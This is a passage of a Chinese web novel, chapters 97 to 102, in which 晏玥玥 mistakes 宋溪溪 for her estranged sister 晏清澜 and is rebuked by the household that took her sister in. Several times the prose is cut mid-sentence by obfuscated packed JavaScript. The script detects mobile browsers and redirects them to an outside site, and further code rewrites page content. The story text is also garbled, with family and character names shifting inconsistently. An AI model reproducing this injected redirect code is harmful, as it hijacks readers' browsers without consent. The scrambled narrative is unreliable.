他倒要看看,这丫头葫芦里,究竟卖的什么药。 “厉夫人,那……让我去后花园转转呗?” 晏玥玥放下手中的茶盏,眼中闪烁着期待的光芒,语气中带着一丝请求。 “我……好久没见四姐姐了,怪想她的。” 她垂下眼帘,声音轻柔,带着几分不易察觉的委屈, “这些年,四姐姐也从没给我写过信……” “厉夫人,我就是想和四姐姐说几句话。” 傅清霁深深地看了她一眼,眉头微微一皱,似乎有些不悦。 但她最终还是什么也没说,只是淡淡道: “想去便去吧,就当是自己家,不必拘束。” 晏玥玥闻言,顿时喜上眉梢。 她等了这么久,终于等来了这句话! 看来,厉夫人心里,还是喜欢她的! 晏玥玥努力抑制住嘴角的笑意,乖巧地跟在傅清霁身后,向后花园走去。 傅清霁一路无话,只是在前头引路。 晏子晏的眉头,却越皱越紧,几乎拧成了一个川字。 晏玥玥方才的话,怎么听怎么别扭。 她刻意强调晏清澜没给她写信…… 这丫头,到底想做什么? 难不成,是想让厉夫人觉得晏清澜…… 晏子晏心中疑惑更甚,一股不安的情绪,像藤蔓一样,缓缓爬上心头。 他看着晏玥玥的背影,目光中多了几分审视和探究。 穿过一道月洞门,后花园的景象豁然开朗。 “铮——铮——” 兵器相击的声音,清脆入耳, “宋明澜,你是不是有病!下手这么狠!” 少女的娇喝声,带着几分恼怒,远远传来。 晏玥玥循声望去,一眼就看到了正在比剑的两人。 其中一个白袍少年,长身玉立,剑眉星目,英气逼人,手中的剑舞得虎虎生风,招式凌厉。 另一个粉衣少女,身形矫健,却明显落了下风,只能勉强招架。 晏玥玥的眉头微微一皱。 这般粗鄙的言语…… 想来,这位就是她那位“四姐姐”宋溪溪了。 而那位白袍少年,不用说,定是陆家大哥宋明澜了。 “四姐姐说话也太过分了吧?” 晏玥玥心中暗自腹诽, “太失礼了!” “也难怪她会做出殴打兄长那种事……” “这般没规矩,没教养,怎会讨人喜欢?” 她心中不屑,甚至有些厌恶。 宋明澜正要出言反驳,眼角余光却瞥见了一抹陌生的身影。 他硬生生将那句“宋溪溪你就是不行”咽了回去,改口道: “比试之时,怎可随意开口?” 他眉头一皱,语气严肃, “分心乃习武大忌,以后万万不可再犯。” 宋溪溪瞪大了眼睛,简直不敢相信自己的耳朵。 这还是那个平日里总是嘲笑她“菜鸡互啄”的宋明澜吗? 她张了张嘴,正要反驳,却见一道粉色的身影,像一只轻盈的蝴蝶,翩翩然地闯入了她的视线。 宋溪溪硬生生把“你有病啊”咽了回去,收起剑,转身看向来人。 粉衣粉裙的晏玥玥,以及她身后的晏子晏。 宋溪溪的眉头,不自觉地皱了起来。 “四姐姐,你怎么能这样和陆大哥说话呢?” 晏玥玥抢先开口,声音轻柔,带着几分责备和担忧, “陆大哥是真心疼你,把你当亲妹妹看待,你这样说,他心里会难过的。” 宋溪溪:“……” 她张了张嘴,一时竟不知该如何回应。 这……这都哪儿跟哪儿啊? 她什么时候说过这种话了? 晏玥玥却没有给她说话的机会,又自顾自地摇了摇头,一副痛心疾首的模样, 她皱着鼻子,语气中既有担忧,又有几分……说教的意味: “还有啊,四姐姐,女孩子家家的,说话可不能这么粗鲁。” 她顿了顿,又补充道: “咱们自家姐妹关起门来说说也就罢了,到了外面,可千万别这样,免得……让人笑话。” 仿佛生怕宋溪溪在外人面前,丢了她庄家小姐的脸面。宋溪溪觉得自己快炸了。 她现在只想把眼前这个莫名其妙的家伙,直接扔出去。 跟这种人多说一句话,她都觉得自己是在浪费生命。 晏玥玥却像是完全没感觉到宋溪溪的怒火,她深吸一口气,强忍着眼泪,声音却还是控制不住地发抖,甚至还带上了几分尖锐: “四姐姐,你太过分了!” 她一边说,一边委屈地看向厉夫人和宋明澜,似乎是在控诉: 你们怎么都不管管她! 尤其是陆大哥,你不是最讨厌“四姐姐”粗鲁了吗?现在她骂得这么难听,你怎么不说了? “哦?” 一个清冷的声音,带着几分玩味,打断了晏玥玥的控诉。 “所以,你觉得我哪里过分了?” 晏玥玥猛地转过身,看向声音的来源,眼睛瞪得溜圆,像是一只受惊的小鹿。 出现在她视线里的,是一个身穿青衣的少女。 少女的容貌极美,每一个五官都像是精心雕琢过的艺术品,组合在一起,更是美得惊心动魄。 她的美,带着一种强烈的冲击力,让人一眼难忘。 但真正让人印象深刻的,是她身上那种独特的气质。 她既有少女的明媚,又有几分超越年龄的沉静,眼神清冷,带着一种拒人于千里之外的疏离。 这种疏离,让她看起来更加高不可攀。 “说啊,我哪里过分了?” 青衣少女,也就是晏清澜,见晏玥玥不说话,又重复了一遍刚才的问题。 她的语气很平静,甚至还带着几分笑意,但晏玥玥却从中感受到了一股莫名的压力。 晏玥玥看着晏清澜那张美得让人窒息的脸,又想起刚才宋溪溪对她的称呼,心里突然有了一个大胆的猜测。 她试探着开口,声音带着明显的颤抖和不确定: “你……你压根就不是我亲姐……” 她原本想说,你不是我那个又土又丑的四姐姐,可话到嘴边,又硬生生咽了回去。 第九十八章 她不敢说。 她怕眼前这个美得不像话的女子,会突然发怒。 “阿清姐姐,你别跟这种脑子进水的人一般见识。” 宋溪溪说着,直接拔出长剑,“唰”的一声指向晏玥玥: “一边儿去!” 她现在看到晏玥玥就烦,恨不得直接把她赶出去。 晏清澜伸手,轻轻按下了宋溪溪手中的剑,笑着说: “别动不动就拔剑,吓着人家怎么办?” 她嘴上这么说着,眼神却落在了晏玥玥身上,带着几分探究。 晏玥玥被晏清澜看得心里发毛,她下意识地往后退了两步,结结巴巴地解释: “我……我没说你……我说的是……是……” 她想说,我说的是我四姐姐,可“四姐姐”这三个字,却怎么也说不出口。 她突然意识到,自己可能真的认错人了。 这个突然出现的、美得不像话的女子,才是她的四姐姐,晏清澜! 而刚才那个凶巴巴的、拿着剑的粉衣姑娘,根本就不是她的四姐姐! 这个认知,让晏玥玥如遭雷击,整个人都傻了。 宋溪溪得意地朝晏玥玥做了个鬼脸,然后亲昵地挽住了晏清澜的胳膊,撒娇道: “阿清姐姐,你看她,是不是脑子有病?” 晏清澜笑着摇了摇头,没有回答宋溪溪的问题。 她只是觉得,这事儿有点儿……太戏剧化了。 她怎么也没想到,晏玥玥会把宋溪溪认成自己。 而且,看宋溪溪这反应,晏玥玥肯定还说了一些不中听的话。 不然,以宋溪溪的性格,也不会这么生气。 晏清澜觉得,自己要是再不出现,这俩人估计能打起来。 她开始头疼了。 这都什么事儿啊! 晏子晏站在一旁,全程目睹了这一切,尴尬得恨不得找个地缝钻进去。 他现在只想赶紧离开这里,离晏玥玥越远越好。 宋明澜? 他从头到尾都是一副看戏的表情,压根儿就没有要插手的意思。 开玩笑,这种“姐妹情深”的戏码,他可不想参与。 更何况,晏玥玥刚才还把溪溪认成了阿清,还说了那么多难听的话。 他没直接把晏玥玥赶出去,就已经很给面子了。 眼看着气氛越来越尴尬,傅清霁终于忍不住了。 她清了清嗓子,试图打破这僵局: “溪溪,不得无礼。” 她虽然是在责备宋溪溪,但语气却很温和,一点儿威慑力都没有。 “庄六姑娘是客人,你这样……不太好。”宋溪溪轻哼一声,原本想刺晏玥玥两句,话到嘴边又咽了回去,只是拿眼角不屑地瞟了她一眼。 晏玥玥脸色煞白,像被霜打过的茄子,整个人都蔫了。眼泪先是在眼眶里打转,终于像断了线的珠子般滚落下来。 她不敢对傅清霁、宋明澜撒气,只能把头转向晏子晏,声音细若蚊蝇,带着一丝不易察觉的颤抖: “四哥……你明明见过四姐姐的,不是吗?” 她带着哭腔,继续说道,每一个字都像是从喉咙深处挤出来的: “你……你分明清楚我认错对象了,为什么……就是不肯提醒我一声?” 晏玥玥死死咬着下唇,眼泪流得更凶了,声音也渐渐大了些: “四哥就这么……眼睁睁看着我在大家面前出丑吗!” 她越说越委屈,声音里充满了难以置信和失望: “我刚刚……我都做了些什么啊!” 她几乎要崩溃了,带着哭腔的声音里充满了懊悔和自责: “我居然……当着陆大哥和厉夫人的面,说陆家大小姐没规矩!” 晏玥玥双手紧紧地绞在一起,指节因为用力而泛白: “完了……全完了……陆大哥和厉夫人肯定不会喜欢我了……” 这个念头让她心如刀绞,声音也哽咽了: “宋溪溪……肯定也讨厌死我了!” 晏子晏本来就觉得丢脸,被晏玥玥这么一哭诉,更是恨不得找个地缝钻进去。 可他突然想起,刚才自己对着宋溪溪大呼小叫“四姐姐”,还自以为是地教训人家女孩子要如何如何,心里那股子别扭劲儿又冒了出来,挥之不去。 晏子晏现在算是琢磨明白了,晏玥玥这小算盘打得可真够响的。 谁管她是有意无意,反正这话从她嘴里说出来,就是在挑拨离间。 她不敢明着冲陆家人发火,倒来质问他? 真当他是泥捏的,没脾气? 晏子晏冷笑一声,偏不惯她这臭毛病! 他故作轻松地耸了耸肩,一脸无辜: “我有机会开口吗?你那嘴,跟机关枪似的,我插得上话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏玥玥死死地攥着衣角,转过头,可怜巴巴地看着晏清澜,鼻子和眼睛都哭得红肿。 第九十九章 她声音沙哑,带着浓浓的哭腔: “四姐姐……你倒是说句话呀,真相压根不像四哥描述的这般……” 晏玥玥努力吸了吸鼻子,想让自己的声音听起来不那么颤抖, “先前厉夫人提到你与陆大哥在后院对剑,我过来的时候,正好看到溪溪妹妹和陆大哥……在……在过招。” 她有些语无伦次,磕磕巴巴地解释着: “而且……而且外面都说你生得极美,和仙女儿似的,刚好溪溪妹妹也这么好看,我……我一时眼花,就认错了……” 她抽抽搭搭的,上气不接下气,看起来可怜极了。 晏玥玥的眼泪像断了线的珠子,一颗接一颗地往下掉, “四姐姐……你可千万别生我的气啊,你……你跟四哥说说好不好?” 她哭得梨花带雨,声音里充满了哀求。 晏清澜只是静静地看着她,眼神平静得没有一丝波澜。 晏玥玥这副模样,本该让人心生怜惜。 她那张脸,生来就是让人疼的,尤其是哭起来的时候,更是让人心疼得不得了。 平日在苏府,只要晏玥玥一哭,全家上下都得乱成一锅粥。 可惜,晏清澜不是一般人。 晏玥玥的眼泪,对她来说,毫无作用。 看着晏玥玥哭得伤心欲绝,晏清澜却不由得想起了一些往事,那些被她刻意遗忘在记忆深处的画面。 那时,钱雅芝还没有动把原主送走的心思。 在一个寻常的午后,晏玥玥依偎在钱雅芝身边,用稚嫩的声音说着一些让人不寒而栗的话。 “娘亲,那天我落水的时候,四姐姐明明就在旁边看着,她为什么不救我呢?” “她明明可以拉我一把的,可是她没有……她是不是很讨厌我啊?” “她是不是巴不得我被淹死?这样,爹娘和哥哥们就只会疼她一个人了……” 晏清澜闭上眼睛,深吸了一口气,仿佛还能感受到当年原主心中的绝望和痛苦。 就是这些话,像一把把尖刀,刺进了钱雅芝的心里,让她对原主产生了深深的芥蒂。 最终,钱雅芝下定决心,要把原主送走,越远越好。 那时的原主,虽然昏迷着,但并非完全没有意识。 她隐约听到了钱雅芝为了安抚小女儿,竟然要将自己送走,完全不顾她的死活。 也许,原主之所以没能挺过来,不仅仅是因为身体上的伤,更是因为心里的那道坎,让她失去了求生的欲望。 晏清澜缓缓睁开眼睛,看着眼前哭成泪人的晏玥玥。 不管她是有意还是无意,她都无法对这个妹妹产生任何好感。 晏子晏不过是说了几句无关痛痒的话,根本伤不到晏玥玥分毫。 她就能哭成这样,好像受了天大的委屈。 那当初的原主呢? 又有谁来替她哭诉? 晏清澜只觉得心里一阵恶心,胃里翻江倒海。 她猛地弯下腰,捂住嘴,干呕起来。 原本在一旁冷眼旁观的陆家人,脸色顿时变了,急忙围了上来。 傅清霁连忙扶住晏清澜,满脸焦急: “阿清,你这是怎么了?哪里不舒服?” 宋明澜的眉头也紧紧地皱了起来: “是不是早上吃的东西不消化?还是着凉了?” “阿清,你先忍忍,大哥这就去给你找大夫!” 宋溪溪刚刚还恨不得把晏玥玥给生吞活剥了,这会儿却吓得手足无措。 她慌忙摸了摸晏清澜的额头,又摸了摸自己的额头, 感觉到晏清澜没有发烧,这才稍稍松了口气。 但她还是急得团团转: “刚刚还好好的,怎么突然就吐成这样了?” “阿清姐姐,你是不是最近太累了,没休息好啊?” 她突然停下脚步,猛地转过头, 死死地盯着晏玥玥, 目光像两团燃烧的火焰,要把她烧成灰烬: “还是说……你被什么不干不净的东西给熏着了?!”陆家人的反应,如同一记闷雷,砸在晏玥玥头顶。 她无论如何也想不到,晏清澜不过是干呕两声,竟引得他们如此大动干戈。 眼眶迅速泛红,晏玥玥死死盯着人群中心的晏清澜。 那副众星捧月的画面,仿佛一根根尖刺,狠狠扎进她的眼底,刺得她生疼。 论长相,她自认胜过晏清澜;论性子,她也自认为比晏清澜更讨喜。可凭什么,陆家人对她的眼泪视若无睹,却对晏清澜的干呕紧张万分? 胸口像是堵了一团棉花,闷得她透不过气。 这不公平! 正当她暗自神伤时。 晏清澜却轻轻拽了拽宋明澜的袖子,微微摇头: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她狠狠瞪着晏玥玥,手腕一转,剑锋划过一道寒光,“砰”的一声,将晏玥玥身旁的花架劈成两截。 第一百章 木屑四溅,花盆碎裂,泥土和花瓣散落一地。 晏玥玥吓得花容失色,惊叫一声,连连后退。 宋溪溪却丝毫没有收手的意思,手腕上的青筋根根暴起。 她怒视着晏玥玥,声音尖锐刺耳: “你少在这儿惺惺作态!阿清姐姐当初大病初愈,身子弱得风一吹就倒,哪来的力气跟你玩?” 宋溪溪越说越气,声音也越来越大。 “你明明知道阿清姐姐身子不好,最怕受刺激,还偏要哭着闹着跟你那几个没脑子的哥哥说些有的没的,撺掇他们来找阿清姐姐的麻烦!” 她死死盯着晏玥玥,一字一顿,仿佛要将她生吞活剥, “晏玥玥,你到底安的什么心!你是不是巴不得阿清姐姐早点死?” 院子里一片寂静,只剩下宋溪溪的怒斥声,如惊雷般回荡。 她却没留意到,一旁的晏子晏,脸色已是难看到了极点。 她口中“没脑子的哥哥”,晏子晏正是其中之一。 宋溪溪骂得越狠,晏子晏的心就越痛。 有些事,旁人不说,当局者或许永远也看不清。 可宋溪溪的话,却像一把锋利的刀,将晏子晏心中那层自欺欺人的迷雾,狠狠劈开。 往事一幕幕浮现,那些被他刻意忽略的细节,此刻却变得无比清晰。 他终于明白,从前的许多事,晏玥玥确实有错。 只是那时,他和几个兄弟的心,全都偏向了晏玥玥。 他们盲目地维护她,纵容她,对她的话深信不疑。 在他们的认知里,病弱的晏清澜,反而成了那个仗着生病欺负晏玥玥的“恶人”。 晏子晏的心,仿佛被一只无形的大手紧紧攥住,闷得他喘不过气。 儿时为了维护晏玥玥,他对晏清澜口出恶言的一幕幕,不断在他眼前闪过。 他记得自己曾指着晏清澜的鼻子骂她: “病秧子,离我远点!看见你就烦!” 他甚至还说过更过分的话: “要不是你,玥玥也不会被人嘲笑有个病秧子姐姐!你还有没有点羞耻心?” “这是玥玥的家,不是你的!你给我滚出去!” …… 这些话,如同尖刀般,一遍遍凌迟着他的心。 往事如烟,却又历历在目。 那个瘦弱的小小身影,渐渐与眼前这个清冷淡漠的女子重合。 记忆的碎片,拼凑出晏清澜回京后,三哥前去寻她的场景。 那日,阳光正好。 站在阳光下的女子,眉目如画,却透着一股拒人于千里之外的疏离。 她看着三哥,语气平静得没有一丝波澜,她说,苏府不是她的家,她有自己的兄长和姐妹。 晏子晏只觉心如刀绞,痛不欲生。 他缓缓抬头,看向晏清澜。 她依旧是那副云淡风轻的模样,仿佛周遭的一切都与她无关。 任由宋溪溪将晏玥玥骂得体无完肤,她也只是静静地站在那里。 晏玥玥早已是泪流满面,委屈至极。 她想扑过去抱住晏清澜,寻求庇护,可陆家人将晏清澜护得滴水不漏,她连晏清澜的衣角都碰不到。 她只能孤零零地站在那里,惊恐地看着宋溪溪,不住地摇头: “不是的……我没有……” 声音嘶哑,带着浓浓的哭腔。 晏玥玥猛地转头,看向一旁的晏子晏,像是抓住了救命稻草般,急切地喊道: “四哥!你快说话啊!” 泪水模糊了她的视线,声音颤抖得厉害, “你快告诉他们,我真的没有做过那些事!都是四姐姐她……她在胡说!” 晏子晏却只是定定地看着她,眼神复杂,嘴唇紧抿,一言不发。 “胡说?”宋溪溪冷笑一声,眼神中满是鄙夷。 “这跟阿清姐姐的原话不一样,是我亲耳听见的!” 她上前一步,逼近晏玥玥。 “那年上元节,我在芳华园亲眼看见你那几个哥哥,为了给你出气,把阿清姐姐骂得狗血淋头!” 宋溪溪的眼眶泛红,声音也有些哽咽。 她努力平复着情绪, “那时候的阿清姐姐,孤零零地站在那里,脸色苍白,摇摇欲坠,看着可怜极了。” “后来,她直接晕了过去,要不是我和大哥及时赶到,让人请了太医,她……她可能就……” 说到这里,宋溪溪的声音再也控制不住,带着哭腔, “你们庄家,没一个好东西!” 晏清澜见宋溪溪情绪激动,轻轻叹了口气,从袖中取出一方帕子,递给她,柔声安慰道: “好了溪溪,都过去了,别哭了。” 宋溪溪接过帕子,胡乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019302|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地擦了擦眼泪,抽噎着说: “过不去……我一辈子都忘不了……他们欺负你……都是坏人……” 晏玥玥看着这一幕,只觉得眼睛被刺得生疼。 她猛地看向晏清澜,声音尖锐: “四姐姐!我才是你的亲妹妹啊!” 她无法理解,晏清澜为什么对一个外人如此温柔,却对她这个亲妹妹如此冷漠? 晏清澜只是淡淡地扫了她一眼,眼神冰冷,没有一丝温度。 她语气平静,却带着一种不容置疑的疏离: “晏六姑娘,苏府实在太难进了,我高攀不起。你我之间,并无姐妹情分。” 晏玥玥欲言又止,却被晏子晏一把拉住。 他看着晏玥玥,眼神中带着警告和失望。 他沉声说: “玥玥,够了。”“四哥,为什么……”晏玥玥身形一晃,险些跌倒,泪水如同断线的珠子般滚落,“凭啥说教我?” 她紧咬下唇,抬眼望向晏子晏,声音嘶哑得不成样子,仿佛是从喉咙深处挤出来的。 “明明……受委屈的是我……” 晏子晏烦躁地耙了耙头发,眉头紧锁成一个“川”字, “有什么问题吗?” 他冷着脸,语气中是毫不掩饰的失望,像是寒冬里的冰碴子。 “玥玥,你当真觉得自己一点错也没有?” 晏玥玥只觉得心口一阵钝痛,仿佛被一块巨石压住,喘不过气来。 她有些站立不稳, 眼前的景象开始扭曲、旋转, 整个世界都变得不真实, 仿佛下一刻,她就要被这无边的黑暗吞噬。 “四姐姐刚到家,四哥就被抢走了。” 这个念头如同闪电般划过脑海, 晏玥玥的泪水更是决堤般涌出。 她无助地看向宋明澜和傅清霁,眼神中带着最后一丝期盼,声音微弱如蚊蚋,却又带着一丝不甘。 “陆大哥,厉夫人,我真的没有……” 她抽泣着, “我真的不明白,溪溪妹妹和四姐姐……为什么要这样说我?” 平日里娇俏可人的小姑娘哭成这副模样,任谁见了都会心生怜惜。 然而,宋明澜却是个硬心肠的。 他冷漠地瞥了晏玥玥一眼,仿佛没有看到她的眼泪,没有听到她的哭诉。 第一百零一章 “晏六姑娘还是称呼我厉大公子为好。” 他语气疏离,像是在两人之间划出了一条????????????的界限。 “至于溪溪,你也别‘妹妹’长‘妹妹’短地叫。” “我们两家,并无深交。”宋明澜顿了顿,一字一句地强调,“回京至今,咱俩才刚认识。” 他眼神锐利,像两把出鞘的利剑,直直地刺向晏玥玥。 “还有,别叫阿清‘四姐姐’,她身子骨弱,经不起折腾,万一又被你气出个好歹……” 宋明澜的话,说得有些过了。 傅清霁听着,都觉得有些刺耳。 她轻咳一声,打断了宋明澜。 “好了,”傅清霁开口,声音虽轻,却带着一种不容置疑的威严,“晏六姑娘是客,你们这是做什么?” 她转头看向宋明澜和宋溪溪,目光中带着淡淡的责备。 “我知道你们心疼阿清,可也不能这样对待客人。” 傅清霁眼底深处,却是一片平静,没有丝毫责怪的意思。 她话锋一转,看似随意地说道: “晏六姑娘毕竟是客人,你们这样,倒显得我们陆家失了礼数。” 看似是在责备宋明澜和宋溪溪, 可话里话外,却又像是在敲打晏玥玥, 每一个字,都像是一根细小的针,轻轻地刺在晏玥玥的心上。 “也亏得晏六姑娘是客人,”傅清霁轻轻叹了口气,像是自言自语,又像是说给在场的每一个人听,“这要真是你们的妹妹,还不得被你们给气死?” 话音刚落, 宋溪溪和宋明澜都愣住了, 他们没想到,自家娘亲竟然会说出这样的话来。 这话说得……真是太解气了! 兄妹二人交换了一个眼神,彼此都看到了对方眼中的笑意。 傅清霁不再理会他们,转过身,朝晏玥玥走了过去。 她轻轻地拉起晏玥玥的手, 却在触碰到晏玥玥的瞬间,眼神变得冷淡。 傅清霁带着晏玥玥往前走, “走吧,我带你去收拾一下。” 晏玥玥一路小跑才能跟上傅清霁的步伐, 傅清霁却没有任何放慢脚步的自觉, 她让丫鬟打了热水,拧了热毛巾给晏玥玥擦脸。 又取了两个鸡蛋,用帕子裹了,递给晏玥玥。 “敷一敷,消肿。” 傅清霁的声音很轻,听不出喜怒。 晏玥玥接过鸡蛋,小心翼翼地敷在眼睛上, 眼圈仍然红红的, 她抬起头,看向傅清霁, 对方眼中的冷淡,让她的心,一点点往下沉。 “谢谢……”她小声说道,声音里带着一丝不易察觉的颤抖。 傅清霁没有应声,只是淡淡地看了她一眼。 “不必谢,说到底,还是溪溪他们不懂事,吓着你了。” 她语气平静, “不过,他们没有恶意,别往心里去。” 晏玥玥垂下眼眸,长长的睫毛遮住了眼中的情绪,嘴角微微向下撇了撇,像是在隐忍着什么。 “我知道的,溪溪妹妹只是……对我有些误解。” 她抬起头,小心翼翼地看向傅清霁, “其实,我真的很喜欢四姐姐……” 说着,晏玥玥的眼眶又红了, 她低下头,像是怕被人看到她的眼泪, “只是不知道为什么,四姐姐好像一直都不喜欢我。” 她吸了吸鼻子,声音闷闷的,像是从鼻腔里发出来的。 “或许……是因为我年纪小,爹娘和哥哥们,总是更偏爱我一些吧……” 这话说得,既委屈,又懂事。 傅清霁静静地看着她,眼底深处,闪过一丝不易察觉的冷意。 她没有说话,只是将手中的茶杯轻轻放在桌上,发出一声清脆的声响。 “这些话,你应该去和阿清说。”傅清霁淡淡道,“你若是真心待她,她自然也会以诚相待。” “你看,溪溪和阿清就相处得很好。” 晏玥玥很想说,那是因为宋溪溪是将军府的大小姐! 可话到嘴边,又被她生生咽了回去, 她怕说出来,会让厉夫人不高兴。 晏玥玥默默地拿起一块点心,小口小口地吃着,掩饰着自己的情绪。 她心中暗暗下定决心,一定要让厉夫人看到她的真心! 她要让厉夫人知道,她才是最适合留在四姐姐身边的人! 傅清霁看着晏玥玥的反应,心中冷笑。 这晏玥玥,心思倒是不少。 不过,她可不会让晏玥玥如愿。 “阿清最近身体不好,心情也烦闷,你……最好别去打扰她。” 傅清霁语气淡淡的, “若是真心想亲近,不差这一会儿。” 她看着晏玥玥,眼神中带着一丝警告。 “晏六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019303|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘,你觉得呢?” 晏玥玥的眼中闪过一丝慌乱,但很快,她就镇定下来。 她抬起头,看向傅清霁,眼神清澈,语气诚恳。 “谢谢厉夫人提点!我明白了!” 她心中暗喜。 果然,厉夫人是向着她的! 厉夫人一定是看出了四姐姐在装病! 厉夫人是喜欢她的! 所以才会提醒她,不要在这个时候去打扰四姐姐。 这是在保护她啊! 晏玥玥心中一阵激动。 她就知道,没有人会不喜欢她! 她颜值这么能打,又这么乖巧懂事,长辈们怎么会不喜欢她呢? 看着晏玥玥眼中毫不掩饰的欣喜,傅清霁愣住了。 她这才意识到,晏玥玥似乎……完全误解了她的意思。 什么提点? 她这哪里是在提点? 分明是在警告! 警告晏玥玥离阿清远一点! 这晏六姑娘,心思深沉得可怕。 不管是出于什么原因,阿清确实因为她受了不少委屈。 阿清虽然性子豁达,可有些事,想放下哪有那么容易。 她担心阿清一见到晏玥玥,就会想起那些不愉快的回忆。 万一再气出个好歹…… 傅清霁心中一阵烦躁。 可看晏玥玥这副模样,竟是半点也没听进去她的话! 还“厉夫人”…… 傅清霁眉头紧蹙,声音也冷了几分。 “晏六姑娘,还是称呼我顾将军吧。”她语气疏离,“我们陆家,不习惯‘厉夫人’‘陆伯母’这样的称呼。” 晏玥玥愣了一下,随即撇了撇嘴,轻轻地“嗯”了一声。 “顾将军肯定是因为四姐姐,才不让我叫‘陆伯母’的。” 晏玥玥心里嘀咕着, “可是,凭什么呢?” “顾将军又不是四姐姐一个人的!” “四姐姐有啥资格管别人喜欢谁?” 各种各样的念头,在晏玥玥的心中翻滚。 但她面上,却依然保持着乖巧的笑容。 她抬起头,看向傅清霁,声音甜甜的。 “好,不过,顾将军可以叫我玥玥呀,我父母一直都这样喊我。”傅清霁险些维持不住面上的表情。 她征战沙场多年,什么样的人没见过?可像晏玥玥这般……这般让人不知该如何形容的,倒真是头一回见。 第一百零二章 傅清霁眼风扫过晏玥玥,没理会她的自说自话,只是声线平平地问: “晏六姑娘,我且问你,阿清小时候,身子骨可是真的那般弱?” 这声“晏六姑娘”,让晏玥玥心里咯噔一下。 她隐约觉得,傅清霁似乎并不像方才表现得那般喜欢她。 方才还那般亲热,可一提到晏清澜,就立刻变了脸色,连声“玥玥”都不肯叫了。 晏清澜好大的脸面! 傅清霁待人如何,与她何干?竟要事事以她为先? 难不成,全天下都得围着她晏清澜转不成? 晏玥玥暗自撇了撇嘴,心头对晏清澜的不喜,又多了几分。 可要她昧着良心,把一个病秧子说成是没事人,她也做不出。 晏玥玥手里捏着帕子,有一搭没一搭地绞着,斟酌着开口: “四妹年幼之时,确实是……不大好,时常生病。” 她话锋一转,又道:“不过,也并非什么不治之症,大夫说了,都是些寻常的头疼脑热。” 晏玥玥说着,微微蹙起眉头,故作不解地问: “只是有一事,我一直不明白。这些小毛病,在旁人身上,至多将养些时日也就好了,怎么到了四姐姐那里,就总也不见痊愈呢?” 她心里其实是想说,晏清澜就是娇气。 一点点小病,也值得她那般兴师动众? 可当着傅清霁的面,这话她终究是不敢说出口。 但她心里,确确实实是这么认为的。 不过是些小病小痛,她晏清澜犯得着整日里病恹恹的吗? 她也不是没生过病,可她就从不像晏清澜那般,动不动就闹得人尽皆知,好像生怕别人不知道她病了似的。 晏玥玥到底还是年轻,纵然有几分心眼,也做不到喜怒不形于色。 她自以为掩饰得天衣无缝,却不知,她那微微闪躲的眼神,还有下意识抿紧的唇角,都已将她内心的真实想法,暴露无遗。 傅清霁将这一切看在眼里,面上却依旧是那副波澜不惊的模样。 半晌,她轻轻笑了一声,那笑声中,却听不出半分笑意。 难怪,晏清澜在苏府时,过得那般艰难。 除了那个昏了头的毒妇亲娘,一个冷漠无情的生父,还有一个看似天真烂漫、实则心机深沉的妹妹……这日子,简直没法过了! 为更深入了解晏清澜的过往,傅清霁曾派人将晏清澜在苏府的种种,事无巨细地查了个遍。 知道得越多,她便越是心疼这个看似柔弱、实则坚强的姑娘。 她原以为,自己已然知晓了晏清澜在苏府的所有遭遇。 可如今看来,她所知道的,或许还只是九牛一毛。 晏玥玥方才说什么?旁人若是得了风寒,只需将养些时日便可痊愈? 她咋就不动动脑子,晏清澜在病中,还要忍受钱雅芝那无休无止的责骂! 钱雅芝那个女人,心情稍有不顺,便会对晏清澜动辄打骂,全然不顾她是否还在病中。 晏清澜那张原本白皙的脸上,不知挨了钱雅芝多少巴掌。 晏清澜怕冷,需要静养。可她才稍有好转,便会被晏玥玥以“姐妹情深”为由,强行拉出去,美其名曰“散心”。 若是不从,便会被那几个所谓的“兄长”指责为冷漠无情,不识好歹。 好好一个姑娘家,就这么被他们一家人,给生生折磨成了这副模样! 傅清霁越想越是恼火,只觉得胸腔中有一股无名火在燃烧。 平日里,她连句重话都舍不得对晏清澜说。 宋溪溪想吃晏清澜亲手做的点心,都要巴巴地守在一旁,又是扇风又是捶背,生怕累着了晏清澜。 宋明澜更是对晏清澜言听计从,从未说过她一句不是。 可晏清澜的家人呢?她的生母、兄长,还有这个口口声声“姐妹情深”的妹妹,却一个个恨不得将她置于死地! 如今,晏玥玥竟然还有脸跑到她面前,拐弯抹角地说晏清澜的不是,暗示晏清澜娇生惯养,仗势欺人! 她晏玥玥,到底哪来的这么大的脸?! 傅清霁只觉得一股怒气直冲脑门,险些就要控制不住自己的情绪。 